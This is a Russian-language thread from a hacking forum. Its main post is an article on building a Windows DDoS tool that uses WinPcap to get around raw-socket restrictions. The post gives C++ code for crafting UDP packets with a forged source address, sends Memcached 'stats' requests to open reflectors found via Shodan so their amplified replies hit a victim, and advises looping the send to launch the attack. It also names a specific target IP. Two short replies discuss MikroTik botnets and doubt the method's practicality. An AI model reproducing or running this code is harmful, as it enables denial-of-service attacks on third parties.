• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья DDoS с усилением. Обходим Raw Security и пишем DDoS-утилиту для Windows

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Проходят годы, а DDoS остается мощным инструментом хакерских группировок. Ежедневно в мире происходит 500–1000 атак такого типа. Каждый раз злоумышленники находят новые уязвимости в популярных сервисах, которые позволяют проводить атаки «с усилением». Разработчики Windows активно борются с этим, усложняя жизнь хакерам и отсекая вредоносные запросы на системном уровне. Мы сегодня поговорим о том, как эти преграды обходят.
image1.png

Как видно из статистики, наиболее распространенный вектор — это атаки на сервисы (или с использованием сервисов), которые используют протокол UDP.
image2.png

Здесь все очень просто. UDP, в отличие от других протоколов, не требует сессии, а ответ на запросы отправляется немедленно. В этом основа атаки «с усилением». Мы можем формировать запросы к некоторым сервисам таким образом, чтобы ответ был в десятки раз больше, чем сам запрос. Соответственно, если эти ответы будут перенаправлены на машину жертвы, атакующий сможет генерировать трафик невероятной мощности.

Чтобы предотвратить такого рода атаки, разработчики из Microsoft установили ограничения на манипулирование пакетами.

Подробности в документации Microsoft.
Обрати внимание на этот пункт документации.

image3.png

Прямо заявлено, что ОС не позволит отправлять UDP-пакеты с полем IP-адреса поддельного отправителя.

Зачем нам это нужно? Дело в том, что трафик, который мы получаем от уязвимых ответов служб, может быть каким‑то образом перенаправлен на серверы жертв. А этого можно добиться, просто изменив IP-адрес отправителя в заголовке UDP-пакета. Тогда уязвимый сервер подумает, что запрос поступил с компьютера жертвы, и отправит на него ответ.

Кто не знаком со структурой пакета UDP, может посмотреть на табличку ниже. Там ничего особенного нет, формирование самого пакета мы разберем позже.

User Datagram Protocol

User Datagram Protocol

Собственно, из документации понятно, что стандартные инструменты и библиотеки Windows не позволяют подделывать адрес отправителя. Для проведения DDoS это нужно обойти, и на помощь злодею или желающему провести нагрузочный тест приходит такая волшебная вещь, как WinPcap.

С WinPcap можно формировать пакеты отправки независимо от инструментов Windows. И это не просто библиотека для обработки пакетов для C++, а собственный драйвер NPF.

image5.gif

Если вкратце, то это работает так. Мы можем установить кастомный драйвер протокола, при написании программы мы будем ссылаться на него. Оттуда пакеты будут передаваться на драйвер Network interface card (NIC) и идти дальше по сети. Таким образом мы сможем полностью контролировать процесс создания и инкапсуляции пакетов.

ИЩЕМ УЯЗВИМЫЕ СЕРВЕРЫ​

Для поиска уязвимых серверов широко используется поисковик Shodan. Давай для примера попробуем найти серверы Memcached, которые использовались для атаки на Github несколько лет назад. Вводим product:"Memcached" и видим, что серверов остается все еще очень много.

image6.png

Разработчик исправил уязвимость и теперь порт, назначенный по умолчанию, заменен с 11211 на TCP. Но, несмотря на это, в интернете остались тысячи уязвимых серверов.

У Shodan есть фильтры, которые помогают искать необходимые сервисы и серверы. Для практики можно попробовать найти сервисы RDP с портом UDP/3389, которые также уязвимы для атак амплификации (с коэффициентом 85,9:1).

РАЗРАБОТКА​

Мы можем создать программу для эксплуатации уязвимости серверов Memcached, DDoS с усилением. Прежде всего нужно настроить рабочую среду.
image7.png


Файлы с заголовками

Файлы с заголовками

Макросы

Макросы

В самом проекте я использовал следующие модули:
Код:
#define _ALLOW_KEYWORD_MACROS // Отключить предупреждение

#include <winsock2.h> // Здесь нужные нам функции, такие как htons() htonl()
#pragma comment (lib,"WS2_32.lib")

#include <Iphlpapi.h>// Поможет нам найти информацию про сетевые адаптеры и их характеристики
#pragma comment (lib,"Iphlpapi.lib")

#include <pcap/pcap.h> // Собственно, WinPcap
#pragma comment (lib,"wpcap.lib")

#include <iostream> // Здесь нам нужна функция sprintf()

#include <stdio.h>

#include <thread>

#define HOST sin_addr.S_un.S_addr // Переменные для пакета

using namespace std;
Перейдем к главной задаче программы — формированию пакетов. Пойдем по пунктам.

Функция выбора интерфейса, из которого будут поступать пакеты​

Код:
string devices[15];
void ShowDeviceList(void)
  {
    char Error[PCAP_ERRBUF_SIZE];
    pcap_if_t* Devices; pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &Devices, Error);
    int i = 1;
    for (pcap_if_t* CurrentDevice = Devices; CurrentDevice != NULL; CurrentDevice = CurrentDevice->next)
    {
      devices[i] = CurrentDevice->description;
      //string a = CurrentDevice->description;
      //cout << i << ". " << a << endl;
      i++;
    }
  }
Далее ты можешь вывести их удобным способом, выбрать и использовать для отправки.

Например, в моей программе это выглядит как на скриншоте ниже.


Функции формирования UDP-пакета​

Код:
unsigned char* FinalPacket;
unsigned int UserDataLen;
unsigned short BytesTo16(unsigned char X, unsigned char Y)
  {
    unsigned short Tmp = X;
    Tmp = Tmp << 8;
    Tmp = Tmp | Y;
    return Tmp;
  }
unsigned int BytesTo32(unsigned char W, unsigned char X, unsigned char Y, unsigned char Z)
  {
    unsigned int Tmp = W;
    Tmp = Tmp << 8;
    Tmp = Tmp | X;
    Tmp = Tmp << 8;
    Tmp = Tmp | Y;
    Tmp = Tmp << 8;
    Tmp = Tmp | Z;
    return Tmp;
  }
unsigned char* MACStringToBytes(LPSTR String)
  {
    char* Tmp = new char[strlen(String)];
    memcpy((void*)Tmp, (void*)String, strlen(String));
    unsigned char* Returned = new unsigned char[6];
    for (int i = 0; i < 6; i++)
    {
      sscanf(Tmp, "%2X", &Returned[i]);
      memmove((void*)(Tmp), (void*)(Tmp + 3), 19 - i * 3);
    }
    return Returned;
  }
unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT DestIP)
  {
    unsigned short CheckSum = 0;
    for (int i = 14; i < 34; i += 2)
    {
      tools tool2;
      unsigned short Tmp = tool2.BytesTo16(FinalPacket[i], FinalPacket[i + 1]);
      unsigned short Difference = 65535 - CheckSum;
      CheckSum += Tmp;
      if (Tmp > Difference) { CheckSum += 1; }
    }
    CheckSum = ~CheckSum;
    return CheckSum;
  }
unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDataLen, UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR Protocol)
  {
    unsigned short CheckSum = 0;
    unsigned short PseudoLength = UserDataLen + 8 + 9; //Length of PseudoHeader = Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src Port, 2 Bytes Checksum)
                              //+ Two 4 byte IP's + 1 byte protocol
    PseudoLength += PseudoLength % 2; // If bytes are not an even number, add an extra.
    unsigned short Length = UserDataLen + 8; // This is just UDP + Data length needed for actual data in udp header
    unsigned char* PseudoHeader = new unsigned char[PseudoLength];
    for (int i = 0; i < PseudoLength; i++) { PseudoHeader[i] = 0x00; }
    PseudoHeader[0] = 0x11;
    memcpy((void*)(PseudoHeader + 1), (void*)(FinalPacket + 26), 8); // Source and Dest IP
    Length = htons(Length);
    memcpy((void*)(PseudoHeader + 9), (void*)&Length, 2);
    memcpy((void*)(PseudoHeader + 11), (void*)&Length, 2);
    memcpy((void*)(PseudoHeader + 13), (void*)(FinalPacket + 34), 2);
    memcpy((void*)(PseudoHeader + 15), (void*)(FinalPacket + 36), 2);
    memcpy((void*)(PseudoHeader + 17), (void*)UserData, UserDataLen);
    for (int i = 0; i < PseudoLength; i += 2)
    {
      tools tool2;
      unsigned short Tmp = tool2.BytesTo16(PseudoHeader[i], PseudoHeader[i + 1]);
      unsigned short Difference = 65535 - CheckSum;
      CheckSum += Tmp;
      if (Tmp > Difference) { CheckSum += 1; }
    }
    CheckSum = ~CheckSum; //One's complement
    return CheckSum;
  }
void SendPacket(pcap_if_t* Device)
  {
    char Error[256];
    pcap_t* t;
    t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send
    pcap_sendpacket(t, FinalPacket, UserDataLen + 42);
    pcap_close(t);
  }
void CreatePacket
  (unsigned char* SourceMAC,
    unsigned char* DestinationMAC,
    unsigned int   SourceIP,
    unsigned int   DestIP,
    unsigned short SourcePort,
    unsigned short DestinationPort,
    unsigned char* UserData,
    unsigned int   UserDataLen)
  {
    UserDataLen = UserDataLen;
    FinalPacket = new unsigned char[UserDataLen + 42]; // Reserve enough memory for the length of the data plus 42 bytes of headers
    USHORT TotalLen = UserDataLen + 20 + 8; // IP Header uses length of data plus length of ip header (usually 20 bytes) plus lenght of udp header (usually 8)
    //Beginning of Ethernet II Header
    memcpy((void*)FinalPacket, (void*)DestinationMAC, 6);
    memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6);
    USHORT TmpType = 8;
    memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2); //The type of protocol used. (USHORT) Type 0x08 is UDP. You can change this for other protocols (e.g. TCP)
    // Beginning of IP Header
    memcpy((void*)(FinalPacket + 14), (void*)"\x45", 1); //The Version (4) in the first 3 bits and the header length on the last 5. (Im not sure, if someone could correct me plz do)
                             //If you wanna do any IPv6 stuff, you will need to change this. but i still don't know how to do ipv6 myself =s
    memcpy((void*)(FinalPacket + 15), (void*)"\x00", 1); //Differntiated services field. Usually 0
    TmpType = htons(TotalLen);
    memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2);
    TmpType = htons(0x1337);
    memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2);// Identification. Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is 0x1337
    memcpy((void*)(FinalPacket + 20), (void*)"\x00", 1); // Flags. These are not usually used in UDP either, more used in TCP for fragmentation and syn acks i think
    memcpy((void*)(FinalPacket + 21), (void*)"\x00", 1); // Offset
    memcpy((void*)(FinalPacket + 22), (void*)"\x80", 1); // Time to live. Determines the amount of time the packet can spend trying to get to the other computer. (I see 128 used often for this)
    memcpy((void*)(FinalPacket + 23), (void*)"\x11", 1);// Protocol. UDP is 0x11 (17) TCP is 6 ICMP is 1 etc
    memcpy((void*)(FinalPacket + 24), (void*)"\x00\x00", 2); //checksum
    memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); //inet_addr does htonl() for us
    memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4);
    //Beginning of UDP Header
    TmpType = htons(SourcePort);
    memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2);
    TmpType = htons(DestinationPort);
    memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2);
    USHORT UDPTotalLen = htons(UserDataLen + 8); // UDP Length does not include length of IP header
    memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2);
    memcpy((void*)(FinalPacket+40),(void*)&TmpType,2); //checksum
    memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen);
    unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDataLen, SourceIP, DestIP, htons(SourcePort), htons(DestinationPort), 0x11);
    memcpy((void*)(FinalPacket + 40), (void*)&UDPChecksum, 2);
    unsigned short IPChecksum = htons(CalculateIPChecksum(TotalLen, 0x1337, SourceIP, DestIP));
    memcpy((void*)(FinalPacket + 24), (void*)&IPChecksum, 2);
    return;
  }

Формирование пакета​

Код:
pcap_if_t* ChosenDevice;
char SourceIP[16] = "111.221.111.111";
  for (int i = 0; i < 16; i++) {
    SourceIP[i] = target_ip[i];
  }
  char SourcePort[6] = "11211";
  char SourceMAC[19] = "00:26:57:00:1f:02";
  char DestinationIP[16] = "192.168.0.105";
  for (int i = 0; i < 16; i++) {
    DestinationIP[i] = bot_ip[i];
  }
  char DestinationPort[6] = "11211";
  char DataString[2048] = "stats";
  int chosen = chosen_device;
DeviceInfo di;
  di = tool1.GetAdapterInfo(ChosenDevice);
  RawPacket RP;
  RP.CreatePacket(tool1.MACStringToBytes(SourceMAC), di.GatewayPhysicalAddress,
    inet_addr(SourceIP), inet_addr(DestinationIP),
    atoi(SourcePort), atoi(DestinationPort),
    (UCHAR*)DataString, strlen(DataString));

Отправка пакета​

Код:
void SendPacket(pcap_if_t* Device)
  {
    char Error[256];
    pcap_t* t;
    t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send
    pcap_sendpacket(t, FinalPacket, UserDataLen + 42);
    pcap_close(t);
  }
RP.SendPacket(ChosenDevice);
Последние несколько строк можно поместить в цикл и начать DDoS-атаку. Тестовой целью будет сервер с адресом 18.181.248.145. В Wireshark это все будет выглядеть примерно так.

image11.png

Пакеты отправляются на уязвимые серверы, которые видят нашу цель в качестве отправителя.

ЗАКЛЮЧЕНИЕ​

Код, описанный выше, самодостаточен. Если тебе придется писать эксплоит для подобной уязвимости, то, скорее всего, придется манипулировать только полями DataString (пейлоад), Dest / Source Port, Dest / Source IP.

Да, было бы гораздо проще сделать все это на Linux, и большинство таких программ написаны как раз таки для него. Но это не значит, что мы не можем экспериментировать и углублять знания!

автор:
Yuriy Sierpinskiy
www.linkedin.com/in/yuriy-serpinskiy-48a785192/
 
Насколько понял из недавней новости, самый крутой дос был от ботов под ос микротика. Нужно копать в сторону микротика, думаю скоро микротик завоюет весь мир со своей философией очень дешево и производительно. Многие админы, которые работабт в среднем бизнесе откажутся в сторону Латышей от цисок и джунов. Да, не спорю, у каждого есть свои фишки, в том же фортигейте. Но я думаю, что в 7 версии микротика, разрабы нашпигачат туда кучай фич. Лет через 5 микротик будет в топе.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тема интересная с точки зрения программирования. Но в плане практического применения - сомнительно. Для серверного ддос есть линукс, где полно сорцев примеров, который чаще встречается (в т.ч. со спуфом легче найти). А обычным жертвам драйвер не поставишь, да и смешно ради ддос.

Но концепт интересный.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх